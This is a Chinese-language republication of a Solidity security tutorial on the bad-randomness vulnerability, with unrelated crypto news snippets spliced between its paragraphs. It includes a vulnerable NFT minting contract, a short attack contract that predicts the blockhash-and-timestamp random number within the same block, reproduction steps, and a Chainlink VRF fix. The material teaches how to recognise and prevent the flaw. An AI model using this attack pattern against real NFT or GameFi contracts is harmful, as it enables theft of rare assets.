区块见闻 区块见闻
Ctrl+D收藏区块见闻
首页 > UNI > 正文

WTF Solidity 合约安全: S07. 坏随机数

作者:

时间:

我最近在重新学solidity,巩固一下细节,也写一个“WTFSolidity极简入门”,供小白们使用,每周更新1-3讲。

这一讲,我们将介绍智能合约的坏随机数漏洞和预防方法,这个漏洞经常在NFT和GameFi中出现,包括Meebits,Loots,WolfGame等。

伪随机数

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明且确定性的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如blockhash()和keccak256()方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读WTFSolidity极简教程第39讲:伪随机数。

NFT系列“哥布林”goblintown.wtf 交易额突破1亿美元:金色财经报道,据 NFTGo 最新数据显示,“哥布林”goblintown.wtf系列NFT交易额已突破1亿美元,本文撰写时达到1.0185亿美元,但由于地板价跌至0.665 ETH,其市值目前缩水至约3353万美元。[2022/12/29 22:13:11]

坏随机数案例

下面我们学习一个有坏随机数漏洞的NFT合约:BadRandomness.sol。

contract?BadRandomness?is?ERC721?{????uint256?totalSupply;????//?构造函数,初始化NFT合集的名称、代号????constructor()?ERC721("",?""){}????//?铸造函数:当输入的?luckyNumber?等于随机数时才能mint????function?luckyMint(uint256?luckyNumber)?external?{????????uint256?randomNumber?=?uint256(keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp)))?%?100;?//?get?bad?random?number????????require(randomNumber?==?luckyNumber,?"Better?luck?next?time!");????????_mint(msg.sender,?totalSupply);?//?mint????????totalSupply++;????}}

Web3开源大学WTF Academy获得Starkware资助,将合作开发ZK和Cairo开源教程:11月5日,据官方消息,Web3开源大学WTF Academy获得以太坊二层扩容方案Starkware的资助,将合作开发ZK和Cairo的中英文开源教程,为以太坊和Layer2培养更多开发者。据介绍,WTF Academy是一个Web3开源学院,提供免费开源Web3技术教程,目前WTF Solidity极简教程已经更新50讲。据此前消息,WTF Academy发布习题测试和链上技能认证模块,并已开启公测。[2022/11/5 12:19:54]

它有一个主要的铸造函数luckyMint(),用户调用时输入一个0-99的数字,如果和链上生成的伪随机数randomNumber相等,即可铸造幸运NFT。伪随机数使用blockhash和block.timestamp声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

troll-town.wtf系列NFT24小时交易额增幅达312.57%:金色财经消息,据NFTGo.io数据显示,troll-town.wtf系列NFT总市值达511.08万美元,在所有NFT项目总市值排名中位列第565;其24小时交易额为129.64万美元,增幅达312.57%。截止发稿时,该系列NFT当前地板价为0.242ETH。[2022/6/7 4:08:55]

下面我们写个攻击合约Attack.sol。

contract?Attack?{????function?attackMint(BadRandomness?nftAddr)?external?{????????//?提前计算随机数????????uint256?luckyNumber?=?uint256(????????????keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp))????????)?%?100;????????//?利用?luckyNumber?攻击????????nftAddr.luckyMint(luckyNumber);????}}

Goblintown.wtf NFT近7日交易额超1400万美元:金色财经消息,据欧科云链链上大师NFT交易榜单显示,Goblintown.wtf NFT近7日交易额已超1400万美元,6天地板价涨超500%。目前该NFT项目已超越Otherdeed for Otherside、BAYC,成为近期交易量最畅销的NFT。[2022/5/30 3:50:35]

攻击函数attackMint()中的参数为BadRandomness合约地址。在其中,我们计算了随机数luckyNumber,然后将它作为参数输入到luckyMint()函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

Remix复现

由于Remix自带的RemixVM不支持blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

部署BadRandomness合约。

部署Attack合约。

将BadRandomness合约地址作为参数传入到Attack合约的attackMint()函数并调用,完成攻击。

调用BadRandomness合约的balanceOf查看Attack合约NFT余额,确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如ChainlinkVRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读WTFSolidity极简教程第39讲:伪随机数。

总结

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT和GameFi项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社区:Discord|微信群|官网wtf.academy

所有代码和教程开源在github:?github.com/AmazingAng/WTFSolidity

来源:bress

标签:HELHELINFTINTHello KittyHelio2PACNFTPoint Network

UNI热门资讯
DID:从一而终:链上数据和DID结合透视去中心化奥秘_MET

我们需要的是完整的去中心化,任何环节的缺失或者对中心化的妥协,都会造成一种破碎和断裂,Web3.0的优势就无法被真正发挥出来。 前言 当我们推开Web3.0的大门后,看到的只有荒芜.

OIN:2022世界杯重磅来袭 Web3已成为不可忽略的关键存在_NFT

2022年11月21日,卡塔尔世界杯将如期举行。四年一度的足球盛宴,自然会引发全球狂欢。但值得注意的是,加密资产、Web3、元宇宙和NFT等概念在本届世界杯上有着极大的存在感.

OIN:加密城市指南:旧金山湾区_COIN

原文标题:《CryptoCity:GuidetoSanFranciscoBayArea》撰文:TurnerWright编译:若华.

HEL:详解 a16z 推出的 Helios:完全无需信任的以太坊访问_Encointer价格

撰文:NoahCitron编译:PANews,王尔玉11月8日,a16zCrypto推出了以太坊轻客户端Helios,基于Rust语言进行编写,提供完全无需信任的以太坊访问.

区块链:金色早报 | Genesis警告没有资金可能会申请破产_加密货币是什么意思视频

头条 ▌Genesis警告没有资金可能会申请破产金色财经报道,彭博社援引知情人士的话报道称,Genesis很难为其贷款部门筹集现金,并警告潜在投资者,如果无法做到这一点,它可能会申请破产.

DEF:BTC 和 DeFi 主义者如何看待FTX 破产?_比特币交易所清算地图

撰写:LuizRamalho编译:深潮TechFlow在过去的一周里,我浏览了比特币和DeFi主义者对于FTX的崩溃的讨论,这些讨论内容让我觉得很有趣.